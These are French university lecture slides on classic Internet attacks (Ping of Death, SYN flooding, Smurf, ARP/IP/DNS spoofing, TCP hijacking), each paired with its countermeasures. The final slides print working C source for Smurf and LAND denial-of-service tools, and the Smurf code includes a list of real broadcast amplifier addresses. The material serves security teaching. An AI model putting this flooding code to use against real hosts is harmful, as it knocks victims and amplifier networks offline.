Vous êtes sur la page 1sur 50

Attaques Internet

Ahmed Serhrouchni ENSTParis CNRS

Plan
Introduction Choix protocolaires Implications Typologie Les attaques sur les choix dimplantation Les attaques sur le design des protocoles Les attaques sur les dtournements et usurpations Les attaques sur les bugs des logiciels
2

Introduction.

Choix protocolaires.
Simple Lger Pas ou peu de contrle Optimisation et confiance

Implications.
Les attaques sur les protocoles de communications
exploiter les failles des protocoles IP, ICMP, TCP, UDP

Les attaques sue les applications


Attaquer les applications SMTP, DNS, SNMP, X-Window, NFS, HTTP, FTP

Les attaques sur linformation


Lcoute de donnes communiques sur le rseau La modification des donnes communiques sur le rseau

Les attaques sur les systmes


Le vol de mot de passe Laccs aux fichiers et rpertoires sans autorisation

Typologie. (1/2)

Quelques classifications :
les effets : DoS (Denial of Service), intrusions, corruptions, les protocoles : icmp, ip, tcp, dns, les systmes d exploitation

Typologie. (2/2)
Classification selon: Choix dimplmentation : buffer overflow, Ping of death, land, TCP syn, Teardrop Conception des protocoles : Smurf:, email (bombing, spamming), UDP-bombing, ftp bounce, prdiction des numros de squence de TCP, TCP connection killing Usurpation ou modification: sniffing, ARP spoofing, IP spoofing, TCP hijacking, email spoofing, dns cache poisonning, web spoofing Bugs :
Volontaires (virus, cheval de troie ) Non volontaires (netscape server )

Attaques - Les choix d implmentations Ping of Death


Description Ping est bas sur icmp echo/reply Taille maximum d un paquet IP 65536 octets ICMP est encapsul par IP L attaque consiste gnrer des paquets ICMP de taille 65510 (8 octets pour le header icmp et 20 octets pour le header IP) Fragmentaton la source, le rassemblage provoque le crash du buffer de l metteur

Attaques - Les choix d implmentations Ping of Death

Effet : crash ou reboot de la machine


Parade: software (patches)

Attaques - Les choix d implmentations Teardrop


Les tailles de MTU diffrentes impliques la fragmentation des paquets Champ: identification, flags et fragment offset Attaque par altration du fragment offset Effet: crah de la machine Parade : patche

10

Attaques - Les choix d implmentations Land


Forge des segments TCP syn avec l adresse source identique l adresse de la machine victime Effet : crash de la machine Parade: software ou filtrage

11

Attaques - Les choix d implmentations TCP SYN Flooding


L tablissement d une connexion s effectue par un three-way handshake
SYN x SYNy, ACKx+1

LISTEN SYN_RECVD

ACK y+1 CONNECTED

12

Attaques - Les choix d implmentations TCP SYN Flooding


Allocation des structures: inpcb, tcpcb Attente dans l tat SYN_RECVD (75s) Nombre limit de connexions dans cet tat Effet: perte de connectivit Parade : rduction du timer, augmentation du nbr. de connexions semi-ouvertes, dsactivations des ports inutiles, filtrage, et proxy

13

Attaques - Les choix d implmentations Buffer Overflow


Attaques sur les OS multitches (unix, WNT) Pour obtenir des droits d accs privilgis Processus en excution avec les droits suid Processus en mmoire: zones (code ou texte, donnes, pile) La pile est allou de faon dynamique:
variables locales et pointeur sur l adresse retour aprs excution

Appel une fonction qui fait dborder la pile Adresse retour rcrite par ce procd

14

Attaques - Les choix d implmentations Buffer Overflow


Effet : crash ou obtention d un accs privilgi Parades: vrification du remplissage des tampons, modifications des programmes et des compilateurs (remplacement des fonctions vulnrables: copie et concatnation) modification du noyau pour marquer la pile non excutable

15

Attaques Le design des protocoles


Saturation des ressources systmes : Emailbombing/spamming, Smurf Saturation des ressources rseau : Smurf, UDP-bombing,

16

Attaques - Le design des protocoles Email Bombing/Spamming


Envoi d un message rpt une mme adresse Spamming variante du bombing : le message est envoy des centaines ou milliers d adresses Falsification de l adresse d origine Effets : congestion du rseau crash du serveur de messagerie indisponibilit des ressources physique
17

Attaques - Le design des protocoles Email Bombing/Spamming


Effets (suite) : indisponibilit du serveur, des ressources physique, et de l entre syslog Parades : Supervision, filtrage, proxy

18

Attaques - Le design des protocoles Smurf


Envoi de ICMP echo vers une adresse broadcast dont l adresse source est celle de la victime Effet : congestion du rseau intermdiaire et de la victime Parades : filtrage (au niveau des trois rseaux), OS: ne pas rpondre pour des adresses broadcast
19

Attaques - Le design des protocoles UDP bombing


Faire conserver deux ports qui gnrent du trafic (ex: chargen port 19, echo port 7) Mettre en relation le port 19 de la premire victime avec le port 7 de la deuxime victime Effets : si les deux ports sont sur la mme machine les performances de celle-ci se dgradent si les deux ports sont sur des machines diffrentes ceci provoque la congestion du rseau
20

Attaques - Le design des protocoles UDP bombing


Parades : filtrage de tous les services sur UDP l exception du port 53 (dns) dsactiver tous les ports udp inutiles

21

Attaques - Le design des protocoles FTP bounce


Deux ports tcp l un pour les commandes et l autre pour les donnes La commande PORT n1,n2,n3,n4,n5,n6 de ftp Dtournement des donnes en changeant les paramtres ni Utilis pour contourner un firewall Effets : intrusion dans un rseau dtournement du fltrage

22

Attaques - Le design des protocoles FTP bounce


Parades : Bien tudier l usage des serveurs ftp Architecture : isoler le serveur ftp Software: contrler l usage de la commande PORT ( package wu-ftpd) Proxy : limine les cdes ports ayant comme origine un service interne connu Authentification forte

23

Attaques - Le design des protocoles


Prdiction des numros de squence de TCP Prdire le numro de squence initial Etablissement d une connexion et mesure du RTT pour prdire l ISN Substitution d une adresse reconnue Effet : Etablissement d une connexion non autorise Parade : Implmentation (un espace de numro de squence spar pour chaque connexion) Authentification (IPsec)
24

Attaques - Le design des protocoles TCP connection killing


Envoi d un segment TCP avec le bit RST : possible uniquement si le numro de squence est connu Effet : Perte de connectivit Parade : Autentification (Ipsec)

25

Attaques - Les dtournements et interceptions


Ecoute du trafic (sniffing ou eavesdrpping) Se faire passer pour interlocuteur lgitime aux niveaux: liaison des donnes (ARP spoofing) rseau (IP spoofing, TCP hijacking) applicatif (email spoofing, dns spoofing, web spoofing)

26

Attaques - Les dtournements et interceptions

Sniffing ou eavesdropping
Ecoute indiscrte des donnes sur un rseau Sur le chemin des communicants Attaque passive, les informations recueillis peuvent servir pour une attaque active Effet : perte de confidentialit et donc d information sensible (mot de passe) Parades : Chiffrement (Ipsec) Architecture de rseau
27

Attaques - Les dtournements et interceptions

ARP spoofing
Rpondre une trame ARP who is? Par une trame ARP reply avec une adresse MAC qui ne correspond pas l adresse IP Possibilit de prendre en compte un ARP reply sans qui y ait eu auparavant de ARP who is? ARP est sans tat,l attaquant peu anticip sur les requtes Effets :
Perte de connectivit rseau redirection du trafic

28

Attaques - Les dtournements et interceptions ICMP redirect et destination unreable


Utilisation du message ICMP-redirect Un pirate envoie une machine un ICMP-redirect lui indiquant un autre chemin suivre Utilisation du message ICMP-unreachable destination Un pirate peut envoyer ce message vers une machine La machine ne peut plus joindre ce rseau

29

Attaques - Les dtournements et interceptions ICMP redirect et destination unreable Effets : perte de connectivit dni de service Parades : filtrage authentification (Ipsec)

30

Attaques - Les dtournements et interceptions

IP spoofing
IP spoofing correspond l usurpation d adresse IP se S par A vers D Dtournement du trafic si A n est pas sur le mme chemin entre S et D Ncessite de prdire le numro de squence Possibilit d utiliser : le routage par la source ICMP redirect protocole de routage RIP

31

Attaques - Les dtournements et interceptions

IP spoofing

32

Attaques - Les dtournements et interceptions

IP spoofing
Effet : prendre les privilges de S Parades : Configuration pour ICMP redirect et RIP Filtrage (source routing, adresse IP) Authentification (Ipsec)

33

Attaques - Les dtournements et interceptions

TCP hijacking
Connexion TCP entre S et D A se substitue S Utilisation de plusieurs attaques : IP spoofing, ICMP redirect, TCP connection killing Effets : dtournement d une communication autorise Contourne les protections d authentificaion forte de l utilisateur SKEY et Kerberos
34

Attaques - Les dtournements et interceptions

TCP hijacking
Parade : Authentification (Ipsec)

35

Attaques - Les dtournements et interceptions

Email spoofing
Absence d authentification
Aucun mcanisme d authentification auprs des serveurs mails, de plus vous ne savez pas qui rellement vous crit

Pas de garantie d intgrit de message


Toute personne interceptant le message peut en modifier le contenu

Effets : usurpation d adresse (demande de changement d information sensible) cacher son identit pour une attaque
36

Attaques - Les dtournements et interceptions

Email spoofing
Parades :
Architecture (utiliser un firewall comme frontal) Empcher toute connexion directe sur le port SMTP par configuration du mail delivery deamon Authentification (par signature : PGP, SSL, S/MIME)

37

Attaques - Les dtournements et interceptions

DNS spoofing
Altrer directement les tables d un serveur de noms Communiquer de mauvaises cache poisoning Effets :
dtourner le trafic vers l attaquant (applications sensibles : messagerie et web) Connexions illicites par applets

Parades :
DNSsec une signature associe chaque entre

Pour les applets java vrifier les diff. adresses


38

Attaques - Les dtournements et interceptions

Web spoofing
Attaque de type man in middle : le serveur de l attaquant dtourne les requtes HTTP de la victime La victime navigue dans un faux web Initialisation de l attaque:
l attaquant amne la victime visiter son site (par email ou par sa figuration dans une indexation d un moteur de recherche) la victime tlcharche un script java

Ce script java dtourne toutes les requtes de la victime vers l attaquant


39

Attaques - Les dtournements et interceptions

Web spoofing
Effets : surveillance de l activit de la victime, et vol de donnes altration des donnes, Parades : dsactivation de javascript proxy : repre et refuse des echanges HTTP avec rcriture des URL

40

Exemples: Smurf (1/5)


#include <signal.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h> void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10;

41

Exemples: Smurf (2/5)


char *bcastaddr[] = { "199.171.190.0", "198.3.101.255", "206.13.28.255", "198.32.186.255", "208.131.162.255", "205.180.58.255", "143.43.32.0", "143.43.32.255", "130.235.20.255", "204.71.242.255", "207.221.53.255", "209.25.21.255", "129.130.12.255", "198.242.55.255", "131.215.48.255", "163.179.1.0", "132.236.230.255", NULL }; "165.154.1.255", "204.71.177.0", "144.228.20.255", "130.63.236.255", "199.171.6.255", "198.3.98.0", "131.215.48.0", "205.139.4.255", "192.41.177.255", "206.137.184.255", "208.202.14.255", "207.124.104.255", "131.104.96.255", "204.117.214.0",

"206.79.254.255", "204.162.80.0", "207.126.113.255", "194.51.83.255", "192.231.221.255", "130.160.224.255", "169.130.10.255", "129.16.1.0", "198.32.146.255",

"199.222.42.255", "128.194.103.255", "198.53.145.255", "207.51.48.255", "168.17.197.255", "128.83.40.255", "207.20.7.255", "128.122.27.255", "192.41.177.0",

42

Exemples: Smurf (3/5)


if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolution source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

43

Exemples: Smurf (4/5)


for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf(" [1;34m."); fflush(stdout); } if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); } } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

44

Exemples: Smurf (5/5)


memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); }

45

Exemples: LAND (1/4)


int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader;

if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); }

46

Exemples: LAND (2/4)


bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); }

47

Exemples: LAND (3/4)


if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr;

48

Exemples: LAND (4/4)


tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in)); close(sock); return(0); }

49

Conclusion

Questions et dbat

50